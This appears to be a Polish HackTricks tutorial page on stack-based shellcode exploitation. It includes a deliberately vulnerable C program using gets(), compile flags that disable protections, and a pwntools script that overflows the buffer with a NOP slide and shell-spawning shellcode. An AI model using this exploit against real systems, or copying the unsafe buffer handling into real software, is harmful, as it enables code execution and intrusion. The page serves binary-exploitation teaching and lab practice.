7.1 KiB
Kod Shellcode na Stosie
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe Informacje
Kod shellcode na stosie to technika używana w eksploatacji binarnej, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje Wskaźnik Instrukcji (IP) lub Rozszerzony Wskaźnik Instrukcji (EIP), aby wskazywał na lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowanie procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z pwntools.
Przykład w języku C: Podatny Program
Zacznijmy od prostego przykładu podatnego programu w języku C:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji gets()
.
Kompilacja
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć następującej komendy:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Wyłącza ochronę stosu.-z execstack
: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.-no-pie
: Wyłącza wykonywalność niezależną od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.-m32
: Kompiluje program jako wykonywalny 32-bitowy plik, często używany ze względu na prostotę w tworzeniu exploitów.
Python Exploit z użyciem Pwntools
Oto jak można napisać exploit w Pythonie, korzystając z pwntools, aby przeprowadzić atak ret2shellcode:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ten skrypt konstruuje ładunek składający się z slajdu NOP, kodu powłoki, a następnie nadpisuje EIP adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki.
Slajd NOP (asm('nop')
) jest używany do zwiększenia szansy na "ślizganie" się wykonania do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument p32()
do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
Protections
- ASLR powinien być wyłączony, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
- Kanarki stosu również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
- NX ochrona stosu uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta część nie będzie wykonawalna.
Inne przykłady i odnośniki
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.